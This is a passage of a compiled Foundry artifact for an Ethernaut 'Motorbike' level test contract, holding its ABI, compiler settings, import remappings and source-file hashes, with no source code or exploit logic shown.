"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"done\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Motorbike.t.sol\":\"TestMotorbike\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Motorbike.t.sol\":{\"keccak256\":\"0xc84829fa103ef079c8c8c3262c8d5d4e30e9d3ef0659fd742cbd6254ba8279c6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7ffa98903dd665a2dc8c0b37ef3166f3e2d4aacebf1d117f0bbef1e87f28a6f9\",\"dweb:/ipfs/QmUrN3ziT2BFwEmwx1hMHhgXjvT6cRxYqLPuy9fVKTg5c7\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address 